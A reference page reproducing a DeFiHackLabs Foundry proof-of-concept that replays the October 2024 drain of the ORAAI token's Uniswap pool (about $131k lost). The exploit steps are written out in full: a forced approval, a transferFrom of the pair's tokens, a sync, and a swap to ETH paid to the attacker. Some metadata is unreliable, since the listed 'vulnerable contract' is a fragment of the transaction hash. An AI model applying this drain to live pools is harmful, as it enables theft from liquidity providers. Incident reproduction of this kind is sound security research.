Public reproduction file
src/test/2024-10/BUBAI_exp.sol
Public reproduction file for dataset entry BUBAI.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 131k7// Attacker : https://etherscan.io/address/0xa60fae100d9c3d015c9cd7107f95cbacf58a1cbd8// Attack Contract : 9// Vulnerable Contract : 10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x1b4730e715286862042def956d5aaa6a53203ee02b97ea913de73fa462e48f90?line=011// Another Similar Tx : https://app.blocksec.com/explorer/tx/eth/0x872fcfcfd2e61ab5ec848f5e1a75b75f471bdb8c808c06388434e7179a9e40db13// @Info14// Vulnerable Contract Code : 16// @Analysis17// Post-mortem : https://x.com/TenArmorAlert/status/185144579591811892718// Twitter Guy : https://x.com/TenArmorAlert/status/185144579591811892719// Hacking God : N/A21address constant ORAAI = 0xB0f34bA1617BB7C2528e570070b8770E544b003E;22address constant UniswapV2Pair = 0x6DABCbd75B29bf19C98a33EcAC2eF7d6E949D75D;23address constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;24address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;25address constant attacker = 0xa60fae100d9c3d015c9CD7107F95cBacF58A1CbD;26address constant addr2 = 0xD15Ef15ec38a0DC4DA8948Ae51051cC40A41959b;28contract ContractTest is Test {29 function setUp() public {30 vm.createSelectFork("mainnet", 21074245);31 }33 function testPoC() public {34 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);35 vm.startPrank(attacker, attacker);36 AttackerC attC = new AttackerC();37 vm.stopPrank();39 vm.startPrank(UniswapV2Pair);40 IORAAI(ORAAI).approve(address(attC), type(uint256).max);41 vm.stopPrank();42 vm.startPrank(attacker, attacker);43 attC.attack();44 vm.stopPrank();45 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);46 }47}49contract AttackerC is Test {50 receive() external payable {}52 function attack() public {53 IORAAI(ORAAI).approve(UniswapV2Router02, type(uint256).max);55 uint256 pairBal = IORAAI(ORAAI).balanceOf(UniswapV2Pair);57 IORAAI(ORAAI).transferFrom(UniswapV2Pair, address(this), pairBal - 100);59 (bool s1, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniV2Pair.sync.selector));60 require(s1);62 uint256 bal = IORAAI(ORAAI).balanceOf(address(this));64 address weth = IUniswapV2Router02(UniswapV2Router02).WETH();66 address[] memory path = new address[](2);67 path[0] = ORAAI;68 path[1] = weth;69 IUniswapV2Router02(UniswapV2Router02).swapExactTokensForETHSupportingFeeOnTransferTokens(70 bal,71 0,72 path,73 address(this),74 block.timestamp75 );77 payable(attacker).transfer(address(this).balance);78 }79}81interface IORAAI {82 function balanceOf(address) external returns (uint256);83 function transferFrom(address, address, uint256) external returns (bool);84 function approve(address, uint256) external returns (bool);85 function allowance(address, address) external returns (uint256);86}88interface IUniswapV2Router02 {89 function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;90 function WETH() external returns (address); 91}93interface IUniV2Pair {94 function sync() external;95}Analysis
Dataset entry
Public Foundry test for “BUBAI” (2024-10-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-10/AIZPTToken_exp.solSame month in the dataset · 72 lines
- src/test/2024-10/CompoundFork_exploit.solSame month in the dataset · 229 lines
- src/test/2024-10/Erc20transfer_exp.solSame month in the dataset · 40 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/LavaLending_exp.solSame month in the dataset · 451 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/P719Token_exp.solSame month in the dataset · 245 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
- src/test/2024-10/VISTA_exp.solSame month in the dataset · 87 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa60fae100d9c3d015c9cd7107f95cbacf58a1cbd
- Vulnerable Contract
0x1b4730e715286862042def956d5aaa6a53203ee0
- Attack Tx
0x1b4730e715286862042def956d5aaa6a53203ee02b97ea913de73fa462e48f90
File record
- Name
- BUBAI
- Path
- src/test/2024-10/BUBAI_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 822e5e915ab961eb2673101223c5be60e8994d1e
- Language
- Solidity
- Size
- 95 lines
- Date
- 2024-10-29
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/BUBAI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 822e5e915ab961eb2673101223c5be60e8994d1e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.